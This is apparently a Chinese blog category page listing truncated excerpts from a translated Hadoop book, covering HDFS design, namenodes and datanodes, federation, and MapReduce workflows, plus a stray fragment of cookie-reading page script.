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 分类:hadoop

3.4 Hadoop文件系统

Hadoop有一个抽象的文件系统概念,HDFS只是其中的一个实现。Java抽象类 org.apache.hadoop.fs.FileSystem 定义了 Hadoop 中的一个文件系统接口,并且该抽象类有几个具体实现,如表3-1所示。 表3-1 hadoop文件系统 ...

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5.7.3关于ApacheOozie

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));retur...

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3.3 命令行接口

现在我们通过命令行交互来进一步认识HDFS。HDFS还有很多其他接口, 但命令行是最简单的,同时也是许多开发者最熟悉的。 我们先在一台机器上运 行HDFS。稍后介绍如何在集群上运行HDFS,以提供伸缩性与容错性。 在我们设置伪分布配置时,有两个属性项需要进一步解释。第一项是 fs...

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5.7.2关于JobControl

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3.2.4. HDFS的高可用性

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3.2.3. 联邦 HDFS

namenode在内存中保存文件系统中毎个文件和每个数据块的引用关系,这 意味着对于一个拥有大量文件的超大集群来说,内存将成为限制系统横向 扩展的瓶颈(参见9.4.2节)。在2.x发行版本系列中引入的联邦HDFS允许 系统通过添加namenode实现扩展,其中每个namenode...

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5.7.1将问题分解成MapReduce作业

让我们看一个更复杂的问题,我们想把它转换成MapReduce工作流。 假设我们想找到每个气象台每年每天的最高气温记录的均值。例如,要计算029070~99999气象台的1月1日的每日最高气温的均值,我们将从这个气象台的190丨年1月丨日,1902年1月1日,直到2000年的1月1...

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5.7MapReduce的工作流

至此,你已经知道MapReduce应用开发的机制了。我们目前还未考虑如何将数据处理问题转化成MapReduce模型。本书前面的数据处理都用来解决十分简单的问题(如在指定年份找到最高气 温值的记录)。如果处理过程更复杂,这种复杂度一般是因为有更多的   MapReduc...

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3.2.2. namenode 和 datanode

HDFS集群有两类节点以管理者-工作者模式运行,即一个namenode(管理者) 和多个datanode(工作者)。namenode管理文件系统的命名空间。它维护着 文件系统树及整棵树内所有的文件和目录。这些信息以两个文件形式永久 保存在本地磁盘上:命名空间镜像文件和编辑日志文件...

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5.6.1 分析任务

正如调试一样,对MapReduce这类分布式系统上运行的作业进行分析也有诸多挑战。Hadoop允许分析作业中的一部分任务,并且在每个任务完成时,把分析信息放到用户的机器上,以便日后使用标准分析工具进行分析。 当然,对本地作业运行器中运行的作业进行分析可能稍微简单些。如果你有足够...

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3.2. HDFS的概念 3.2.1. 数据块

每个磁盘都有默认的数据块大小,这是磁盘进行数据读/写的最小单位。构建于单个磁盘之上的文件系统通过磁盘块来管理该文件系统中的块,该文件系统块的大小可以是磁盘块的整数倍。文件系统块一般为几千字节,而磁盘块一般为512字节。这些信息一一文件系统块大小——对于需要读/写文件的文件系统用...

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3.1. HDFS的设计

HDFS以流式数据访问模式来存储超大文件,运行于商用硬件集群上。让我们仔细看看下面的描述。 超大文件“超大文件”在这里指具有几百MB、几百GB甚至几 百TB大小的文件。目前已经有存储PB级数据的Hadoop集 群了。 流式数据访问HDFS的构建思路是这样的:一次写入、多...

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